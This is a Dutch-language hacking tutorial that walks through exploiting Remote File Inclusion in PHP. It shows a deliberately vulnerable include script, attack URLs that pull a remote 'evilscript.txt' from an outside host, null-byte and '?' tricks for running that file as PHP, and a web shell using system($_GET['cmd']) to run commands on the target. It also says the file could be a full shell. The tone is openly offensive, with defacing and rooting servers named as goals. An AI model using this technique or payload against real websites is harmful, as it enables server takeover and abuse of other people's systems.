Wat is RFI?
RFI staat voor Remote File Inclusion. Dit staat de aanvaller toe in staat dat de aanvaller een kwaadaardig bestand op de website of server kan includen door gebruik te maken van een simpel script. De vulnerability exploit de slechte checks of bestanden bestaan en kan zo gebuikt worden om externe bestanden op de website weer te geven of scripts te draaien. RFI was vroeger een veel voorkomende vulnerability. Door het gebruik van remote file inclusion kan je sites defacen, servers rooten en veel meer. Wat RFI nog gevaarlijker maakt is dat het vrijwel geen kennis vereist, het is nog makkelijker dan een SQL injectie! Het enige wat je nodig hebt is een basis PHP kennis en bash en batch kennis kan eventueel van pas komen.
De Exploit
Laten we gaan hacken! De eerste stap is om een kwetsbare site te vinden. Laten we er van uit gaan dat een van jullie eindelijk een slechtbeveiligde site van mij vinden: https://www.ghostpowered.nl/index.php?pagina=home
In mijn geval heb ik dit script op mijn website draaien:
<?php
$page = $_GET['page'];
include('header.php');
include($page . ".php");
include('footer.php');
Zoals je ziet pakt hij de variabele pagina die wordt mee gegeven in de URL en include deze vervolgens. Wat we nu gaan doen is kijken of we externe scripts kunnen draaien. Om dit te doen vervang je gewoon home door iets anders. In ons geval een URL:
https://www.ghostpowered.nl/index.php?page=https://www.jebazensite.com/evilscript.txt
We hebben nu het bestand evilscrpt.txt van jebazensite.com included in de site. Toch? Nee! Je krijgt hoogstwaarschijnlijk een 404 error. Niet zo heel erg gek. Zoals je zag had de variabele pagina geen extentie en het geimporteerde bestand wel. Om dit op te lossen voegen we simpelweg een “NULL byte” toe aan de url.
https://www.ghostpowered.nl/index.php?page=https://www.jebazensite.com/evilscript.txt%00
Nu zien we onze text file wel op de pagina staan! Maar hier kunnen we natuurlijk niet zo veel mee. We willen geen text laten zien, we willen scripts uitvoeren, hacken en dat soort ongein! Nou dan voegen we nog even het commando toe waardoor je je bestand als PHP draait. LET OP!: Dit moet VOOR de NULL byte!
https://www.ghostpowered.nl/index.php?page=https://www.jebazensite.com/evilscript.txt?%00
Zoals je ziet heb ik alleen een “?” toegevoegd aan de url. Je script draait nu op je vulnerable server! Je kan je afvragen waarom. Maar het antwoord is heel simpel. Het bestand wordt eerst geimporteert in de pagina (text versie) en vervolgens zeg je dat het als PHP moet draaien. Vandaar dat het script op je vulnerable server draait en niet op je eigen server.
Hier een leuk voorbeeld van wat er in onze “evilscript.txt” zou kunnen staan:
<?php
echo "Running command: " . htmlspecialchars($_GET['cmd']);
system($_GET['cmd']);
Deze code laat een foutmeldingen zien. Waarschijnlijk deze:
Warning: system() [function.system]: Cannot execute a blank command in ...
Om gebruik te maken van onze code moet je het volgende doen: https://www.ghostpowered.nl/index.php?page=https://www.jebazensite.com/evilscript.txt?%00&cmd="Hier je Commando"
Ervan uitgaand dat ik een linux server heb en jij wil alle bestanden in de directory laten zien gebuik je bijvoorbeeld dit commando: https://www.ghostpowered.nl/index.php?page=https://www.jebazensite.com/evilscript.txt?%00&cmd=ls
Dit is dan ook het punt waar je Bash en Batch kennis van pas kunnen komen. Natuurlijk kan je evilscript.txt ook gewoon een shell zijn. Dit was maar een van de manieren om een RFI uit te voeren.